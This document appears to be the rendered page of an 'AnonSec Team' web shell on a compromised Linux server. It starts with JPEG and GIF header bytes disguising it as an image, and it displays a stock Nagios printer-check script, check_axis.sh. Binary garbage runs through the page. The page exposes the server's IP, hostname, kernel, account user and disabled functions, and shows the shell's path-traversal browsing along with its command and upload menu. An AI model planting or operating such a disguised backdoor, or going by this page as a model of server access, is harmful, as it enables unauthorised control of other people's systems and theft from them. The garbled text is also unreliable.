����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 13.58.50.163
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/../lib64/esmtp-plugins/../pkgconfig/../nagios/plugins/contrib/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //home/../lib64/esmtp-plugins/../pkgconfig/../nagios/plugins/contrib/check_axis.sh
#!/bin/sh

box=$1
port=$2
usr=$3
pass=$4

if [ ! "$#" == "4" ]; then
	echo -e "\nYou did not supply enough command line arguments. \nUsage: ./check_axis.sh <host> <port> <username> <password> \n \nCheck_axis.sh checks the status of LPT ports on Axis print servers. \nIt was written by Tom De Blende (tom.deblende@village.uunet.be) in 2002. \n" && exit "3"
fi

tempfile=/tmp/status-$box.tmp
exit="3"

ftp -in $box &>/dev/null <<EOF
user $usr $pass
passive
prompt off
lcd /tmp
ascii
get status $tempfile
EOF

if [ ! -e "$tempfile" ]; then
        stdio="Status file could not be transferred from the Axis box." && rm -f $tempfile && echo $stdio && exit 2;
fi

lines=`cat $tempfile | grep -i $port`
status=`echo $lines | awk '{ print $3 }'`
if [ "$status" == "Printing" ]; then
	bytes=`echo $lines | awk '{ print $4 }'`;
	comments=`echo $lines | tr -d "
" | awk '{ print $5 " " $6 }'`;
else
	comments=`echo $lines | tr -d "
" | awk '{ print $4 " " $5 }'`;
fi

comma=`echo $comments | grep , | wc -l`
if [ "$comma" -eq "1" ]; then
	comments=`echo $comments | cut -d, -f1`
fi
	

if [ "$status" == "Available" ]; then
	if [ "$comments" == "Paper out" ]; then
		exit="1" && stdio="WARNING - Out of paper.";
        elif [ "$comments" == " " ]; then
                exit="0" && stdio="OK - Printer is available but returns no comments.";
	elif [ "$comments" == "No error" ]; then
		exit="0" && stdio="OK - No error.";
        elif [ "$comments" == "Ready " ]; then
                exit="0" && stdio="OK - Ready.";
        elif [ "$comments" == "Off line" ]; then
                exit="1" && stdio="WARNING - Printer is off line.";        
        elif [ "$comments" == "Out of" ]; then
                exit="1" && stdio="WARNING - Out of paper.";	
	elif [ "$comments" == "Busy Out" ]; then
                exit="1" && stdio="WARNING - Busy, out of paper.";
        elif [ "$comments" == "Printer off-line" ]; then
                exit="1" && stdio="WARNING - Printer is off line.";	
        elif [ "$comments" == "Printer fault" ]; then
                exit="2" && stdio="CRITICAL - Printer fault.";
	else
		exit="3" && stdio="Comments: $comments";
	fi
elif [ "$status" == "Printing" ]; then
	if [ "$comments" == "Printer busy" ]; then
		exit="0" && stdio="OK - PRINTING. Bytes printed: $bytes.";
        elif [ "$comments" == "No error" ]; then
                exit="0" && stdio="OK - PRINTING. Bytes printed: $bytes.";        
	elif [ "$comments" == "Paper out" ]; then
                exit="1" && stdio="WARNING - PRINTING. Out of paper.";
        elif [ "$comments" == "Out of" ]; then
                exit="1" && stdio="WARNING - PRINTING. Out of paper. Bytes printed: $bytes.";        
        elif [ "$comments" == "Busy Out" ]; then
                exit="1" && stdio="WARNING - Busy, out of paper.";
	elif [ "$comments" == "Ready " ]; then
                exit="0" && stdio="OK - PRINTING. Bytes printed: $bytes.";        
        elif [ "$comments" == "Printer off-line" ]; then
                exit="1" && stdio="WARNING - PRINTING. Printer is off line.";
        elif [ "$comments" == "Busy " ]; then
                exit="0" && stdio="OK - PRINTING. Busy. Bytes printed: $bytes.";	
	elif [ "$comments" == "Off line" ]; then
                exit="1" && stdio="WARNING - PRINTING. Printer is off line.";
        elif [ "$comments" == "Printer fault" ]; then
                exit="2" && stdio="CRITICAL - PRINTING. Printer fault. Bytes printed: $bytes.";        
	else
                exit="3" && stdio="Comments: $comments.";
	fi
fi

rm -f $tempfile
echo $stdio
exit $exit

AnonSec - 2021